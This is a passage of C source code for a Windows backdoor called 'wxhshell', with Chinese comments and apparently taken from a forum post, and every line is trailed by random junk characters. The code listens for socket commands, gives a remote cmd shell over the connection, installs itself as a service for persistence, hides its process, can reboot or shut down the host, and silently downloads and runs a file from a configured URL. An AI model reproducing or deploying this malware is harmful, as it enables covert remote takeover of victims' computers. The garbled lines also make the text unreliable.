  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %J-GKpo/S  
  else >y+B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V0Hj8}l;M  
  } &uVnZ@o42  
  else { h Xya*#n#  
5#z1bu  
    switch(cmd[0]) { ZYNsHcTY  
  M D#jj3y  
  // 帮助 AQ^u   
  case '?': { + >!;i6|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b\,+f n  
    break; y8xE 6i  
  } wb ;xRP"w  
  // 安装 qmP].sA  
  case 'i': { ]eV8b*d6  
    if(Install()) K:WDl;8 (d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 62NsJ<#>  
    else b#o|6HkW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]/{)bpu  
    break; q1ma%eiN  
    } PZzMHK?hP  
  // 卸载 iU:cW=W|M\  
  case 'r': { !bP@n  
    if(Uninstall()) {K!)Ss  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o{[qZc_%  
    else Wa~=bH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o}{5i Tg=  
    break; !d T4  
    } 5~S5F3  
  // 显示 wxhshell 所在路径 -tU'yKhn  
  case 'p': { ?&uu[y  
    char svExeFile[MAX_PATH]; =i3n42M#  
    strcpy(svExeFile,"\n\r"); !ubD/KE  
      strcat(svExeFile,ExeFile); lmhLM. 2  
        send(wsh,svExeFile,strlen(svExeFile),0); 2 ? 4!K.  
    break; :~SyL!  
    } J9 I:Q<;  
  // 重启 _(zG?]y0P  
  case 'b': { GKeU%x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4 H&#q>  
    if(Boot(REBOOT)) DW3G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); og>uj>H&  
    else { f,Ghb~y  
    closesocket(wsh); !TcJ)0   
    ExitThread(0); bN=P*hdf  
    } OcO3v'&  
    break; iJ|uvPCE  
    } Y|/ 8up  
  // 关机 DIUjn;>k8  
  case 'd': { ;O #>Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T6kdS]4-  
    if(Boot(SHUTDOWN)) ]K%!@O!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]JR +ayk7  
    else { 'we>q@  
    closesocket(wsh); OB}Ib]  
    ExitThread(0); bQ5\ ]5M  
    } Ht&Y C<X  
    break; &>}5jC.I  
    } I*^Ta{j[  
  // 获取shell ,wPr"U+7  
  case 's': { 9Gz=lc[!7  
    CmdShell(wsh); =?`c=z3~i$  
    closesocket(wsh); ]]Ufas9  
    ExitThread(0); i{qgn%#}Y  
    break; 9o!Bzy+_  
  } |gY^)9ei  
  // 退出 8a"%0d#  
  case 'x': { xe$_aBU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,"0 :3+(8;  
    CloseIt(wsh); Q=dy<kg']  
    break; >`D:-huNeE  
    } 7IM@i>p%  
  // 离开 yaV|AB$v  
  case 'q': { {(?4!rh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pmYHUj #  
    closesocket(wsh); SZCze"`[  
    WSACleanup(); II=79$n`G  
    exit(1); PTV:IzoW  
    break; eJ81-!)  
        } j*m%*_kO  
  } 9(<@O%YU  
  } YZJyk:H\  
9-m=*|p  
  // 提示信息 GsM<2@?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0C ,`h `  
} ,MIV=*  
  } 7Fsay+a  
@9|hMo  
  return; ] @fk] ]R  
} |(^PS8wG  
f6"Z'{j  
// shell模块句柄 ZSm3XXk  
int CmdShell(SOCKET sock) % %UE+u @J  
{ Y\'}a+:@Ph  
STARTUPINFO si; +x}<IS8  
ZeroMemory(&si,sizeof(si)); 7E!5G2XX~~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cQ_Hp <D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r9G>jiw8  
PROCESS_INFORMATION ProcessInfo; L9#g)tf 8T  
char cmdline[]="cmd"; jZr q{Z<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~WV"SaA)*U  
  return 0; ]')RMg zM*  
} IV)j1  
IMONgFBS  
// 自身启动模式 kB%JNMF{A  
int StartFromService(void) y1L,0 ]  
{ 7"D.L-H  
typedef struct )@bQu~Y  
{  #:%/(j  
  DWORD ExitStatus; "U"Z 3 *  
  DWORD PebBaseAddress; |#N&akC  
  DWORD AffinityMask; \Y}8S/]  
  DWORD BasePriority; mpJ#:}n  
  ULONG UniqueProcessId; x ]ot 2  
  ULONG InheritedFromUniqueProcessId; &b& ,  
}   PROCESS_BASIC_INFORMATION; ^_mj  
y4fdq7i~}9  
PROCNTQSIP NtQueryInformationProcess; 9=2$8JN=(l  
0_t!T'jr7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b>JDH1)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S ByW[JE  
XU7qd:|  
  HANDLE             hProcess; ;,e2egC'  
  PROCESS_BASIC_INFORMATION pbi; BIL Lq8)  
jWfa;&Ra  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u\JNr}bL  
  if(NULL == hInst ) return 0; 3sZ\0P}   
,s;Uf F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5l*&>C[(i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G,w(d@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Thit  
wLr_-vJ  
  if (!NtQueryInformationProcess) return 0; wq`Bd  
}RqK84K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >[*qf9$  
  if(!hProcess) return 0; bA->{OPkT  
h9W^[6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '2^Q1{ :\  
#Mw8^FST  
  CloseHandle(hProcess); "snw4if  
@F*%9LPv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AYx{U?0p  
if(hProcess==NULL) return 0; )K    
pyvSwD5t  
HMODULE hMod; HyWCMK6b  
char procName[255]; ?6Y?a2 |  
unsigned long cbNeeded; D}/vLw:v  
a:6m7U)P#5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Tnm.A?  
M =r)I~  
  CloseHandle(hProcess); 5XB H$&Td  
TRq6NB  
if(strstr(procName,"services")) return 1; // 以服务启动 "9e\c;a  
u.Dz~$T  
  return 0; // 注册表启动 CeC6hGR5  
} ~/P[J  
vRO _Q?  
// 主模块 wAW5 Z0D  
int StartWxhshell(LPSTR lpCmdLine) ?5 7Sk+  
{ I2 P@L?h  
  SOCKET wsl; D d</`iUq  
BOOL val=TRUE; 9q[oa5INd  
  int port=0; uW36;3[f#1  
  struct sockaddr_in door; w+CA1q<  
n7-6- #  
  if(wscfg.ws_autoins) Install(); <e</m)j  
B`J~^+`[*  
port=atoi(lpCmdLine); {{p7 3 'u  
X}\:_/  
if(port<=0) port=wscfg.ws_port; 3/n5#&c\4  
Jze:[MYS  
  WSADATA data; dlTt _.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )hfpwdQ  
omBoo5e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s!7y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k+pr \d~  
  door.sin_family = AF_INET; `+Q%oj#FF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j8lb~0JD  
  door.sin_port = htons(port); 9;-p'C  
%8~NqS|=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  a!AA]  
closesocket(wsl); SI-Ops~e  
return 1; jtc]>]6i  
} NHZz _a=  
s,&Z=zt0R  
  if(listen(wsl,2) == INVALID_SOCKET) { JnM["Q=`  
closesocket(wsl); v^ V itLC  
return 1; :G%61x&=Zc  
} wDe& 1(T^  
  Wxhshell(wsl); }Kbb4]t|"  
  WSACleanup(); B ,epzI  
v z '&%(  
return 0; ;@|n @ax  
81 sG  
} v,>Dbxn  
@t_=Yl2;  
// 以NT服务方式启动 'AH0ww_)n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DN57p!z  
{ o:Sa, !DK  
DWORD   status = 0; &FN.:_E  
  DWORD   specificError = 0xfffffff; ckE-",G  
F@B]et7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?+}_1x`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rCdu0 gYT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b2&0Hx  
  serviceStatus.dwWin32ExitCode     = 0; vnZC,J `  
  serviceStatus.dwServiceSpecificExitCode = 0; RdR p.pb8  
  serviceStatus.dwCheckPoint       = 0; I(BQ34q  
  serviceStatus.dwWaitHint       = 0; YGC L2Y  
GDiBl*D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p4 ^yVa  
  if (hServiceStatusHandle==0) return; n]o<S+z  
%aVq+kC h  
status = GetLastError(); x-&@wMqkc  
  if (status!=NO_ERROR) |H+UOEiv,p  
{ 8NAON5.!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PBTnIU  
    serviceStatus.dwCheckPoint       = 0; CN8Y\<Ar  
    serviceStatus.dwWaitHint       = 0; *mvlb (' &  
    serviceStatus.dwWin32ExitCode     = status; t=W}SH  
    serviceStatus.dwServiceSpecificExitCode = specificError; mSl.mi(JiZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Trz@~d/[,n  
    return; ok\vQs(a  
  } Q:d]imw!O  
0[?Xxk}s0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?QdWrE_  
  serviceStatus.dwCheckPoint       = 0; Uf;^%*P4  
  serviceStatus.dwWaitHint       = 0; R|87%&6']  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K} X&AJ5A  
} =R$u[~Xl2X  
@>Km_Ax  
// 处理NT服务事件,比如:启动、停止 VY=jc~c]v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h^(* Tv-!  
{ +E(L\  
switch(fdwControl) = x)-u8P  
{ DAr1C+Dy  
case SERVICE_CONTROL_STOP: '$]97b7G  
  serviceStatus.dwWin32ExitCode = 0; >$/>#e~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mLLDE;7|}  
  serviceStatus.dwCheckPoint   = 0; ]:k/Y$O2  
  serviceStatus.dwWaitHint     = 0; C 7ScS"~  
  { 84zSK)=Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B !L{  
  } rlSeu5X6  
  return;  < !C)x  
case SERVICE_CONTROL_PAUSE: ['tY4$L(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SP_75BJ  
  break; R=2FNP  
case SERVICE_CONTROL_CONTINUE: !@*7e:l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `% "\@<  
  break; #r~# I}U  
case SERVICE_CONTROL_INTERROGATE: YWO)HsjP  
  break; bI9~jWgGp  
}; TpwkD_fg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^7WN{0  
} kxIF#/8  
a P@N)"  
// 标准应用程序主函数 #rQ2gx4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2E)-M9ds  
{ ,Np0wg0  
T<Z &kYU:R  
// 获取操作系统版本 M; tqp8  
OsIsNt=GetOsVer(); :vQrOn18p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :zke %Yx  
5 ,B_u%bb  
  // 从命令行安装 0{p#j~ZhC  
  if(strpbrk(lpCmdLine,"iI")) Install(); ` *N[jm"  
A>;bHf@  
  // 下载执行文件 :g=qz~2Xk  
if(wscfg.ws_downexe) { &>W$6>@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j[G  
  WinExec(wscfg.ws_filenam,SW_HIDE); $2M$?4S/T  
} Nv}=L : E  
WH@,kH@  
if(!OsIsNt) { S3*`jF>q  
// 如果时win9x,隐藏进程并且设置为注册表启动 /cQueUME`  
HideProc(); _P 3G  
StartWxhshell(lpCmdLine); PQSP&  
} qUW! G&R  
else 4=.89T#<  
  if(StartFromService()) m{cGK`/\  
  // 以服务方式启动 _Gi4A  
  StartServiceCtrlDispatcher(DispatchTable); oC: {aK6\  
else G+"t/?/  
  // 普通方式启动 li'YDtMKCY  
  StartWxhshell(lpCmdLine); :B5Fdp3  
RVA (Q[ ;  
return 0; Val|n*%  
}
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只看该作者 1 发表于: 2006-10-10
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